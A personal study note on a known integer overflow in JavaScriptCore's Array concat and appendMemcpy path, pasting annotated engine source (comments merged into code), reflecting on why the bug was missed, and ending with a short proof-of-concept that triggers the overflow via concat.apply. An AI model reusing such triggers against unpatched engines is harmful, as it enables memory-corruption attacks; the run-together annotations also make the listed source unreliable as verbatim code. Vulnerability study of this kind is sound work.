This is an attempt I made somewhere around April in 2019 at finding an already known vulnerability. More specifically, these are the notes I took while trying to come up with a clear idea of what the problem was with the following piece of code. Such attempt was made only being aware of the existence of said vulnerability (an integer overflow).
git rev-list -1 --before="2017-01-20 12:00" master
Target | Javascript Core |
commit | 956c6759d161d678125b0b9b8128e3fe6bd37c69 |
file | jsc/I dont remember |
function concatSlowPath() { "use strict"; if (this == null) @throwTypeError("Array.prototype.concat requires that |this| not be null or undefined"); var currentElement = @Object(this); var constructor; This block isn't too interesting, it is used to get the constructor of the object that called ".concat" if (@isArray(currentElement)) { constructor = currentElement.constructor; if (@isArrayConstructor(constructor) && @Array !== constructor) We have this check so that if some array from a different global object calls this map they don't get an array with the Array.prototype of the other global object constructor = @undefined; else if (@isObject(constructor)) { constructor = [email protected]; if (constructor === null) constructor = @Array; } } var argCount = arguments.length; var result; if (constructor === @Array || constructor === @undefined) non-array objects can too call concat, so before proceeding any further, make sure 'result' is the of the same type as *this result = @newArrayWithSize(0); else result = new constructor(0); var resultIsArray = @isJSArray(result);This will be later used to decide which path to take var resultIndex = 0; var argIndex = 0; do { let spreadable = @isObject(currentElement) && [email protected];This is the codepath of interest as the else clause explicitly checks for overflows if ((spreadable === @undefined && @isArray(currentElement)) || spreadable) { let length = @toLength(currentElement.length); if (resultIsArray && @isJSArray(currentElement)) { Again, this kind of overflow can only be triggered with arrays @appendMemcpy(result, currentElement, resultIndex); appendMemcpy is probably safe, though it is called in the wrong way resultIndex += length; } else { if (length + resultIndex > @MAX_SAFE_INTEGER) @throwTypeError("length exceeded the maximum safe integer"); for (var i = 0; i < length; i++) { if (i in currentElement) @putByValDirect(result, resultIndex, currentElement[i]);For non-array objects that can be iterated upon, follow a slightly different road @putByValDirect(values, index, argument); resultIndex++; } } } else { if (resultIndex >= @MAX_SAFE_INTEGER) @throwTypeError("length exceeded the maximum safe integer"); @putByValDirect(result, resultIndex++, currentElement); } currentElement = arguments[argIndex]; } while (argIndex++ < argCount); result.length = resultIndex; what if the vunlerability consists in increasing resultIndex return result; }
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray) { auto scope = DECLARE_THROW_SCOPE(vm); if (!canFastCopy(vm, otherArray)) I can only copy in the fast way return false; // A memcpy is being called. In order to do the copy, // everything from type to size must be the same. In // order to figure out how much mem to allocate, and // how to use it, it is necessary to know how the object // is layed out first. IndexingType type = indexingType(); IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType()); if (type == ArrayWithUndecided && copyType != NonArray) { Depending on the type of the array to be copied, take a different path if (copyType == ArrayWithInt32) convertUndecidedToInt32(vm); else if (copyType == ArrayWithDouble) convertUndecidedToDouble(vm); else if (copyType == ArrayWithContiguous) convertUndecidedToContiguous(vm); else { ASSERT(copyType == ArrayWithUndecided); return true; } } else if (type != copyType) return false; unsigned otherLength = otherArray->length(); unsigned newLength = startIndex + otherLength; if (newLength >= MIN_SPARSE_ARRAY_INDEX) return false; if (!ensureLength(vm, newLength)) { make sure the array is contiguous throwOutOfMemoryError(exec, scope); return false; } ASSERT(copyType == indexingType()); if (type == ArrayWithDouble) memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength); else memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); return true; }
Feedback:
Both [?] were correct.
-> Why did I not find the vulnerability ?
the lack of context in jsc's codebase
definitely made things harder. The
main reason i did not know
unsigned newLength = startIndex + otherLength
is a vulnerable thing, because i didn't connect
the memcpy call to the very short buffer. Had I
thought about how memcpy interacts with the length
of the buffer I should would have found it
// PoC
var a = []; a.length = 0xffffff00; var b = a.splice(0, 0x100000); // Undecided array var args = []; args.length = 4094; args.fill(b); var q = []; q.length = 0x1000; q.fill(7); var c = a.splice(0, 0xfffef); //Shorter undecided array args[4094] = c; args[4095] = q; b.concat.apply(b, args);
Changelog
• 12/01/2021: Sidenotes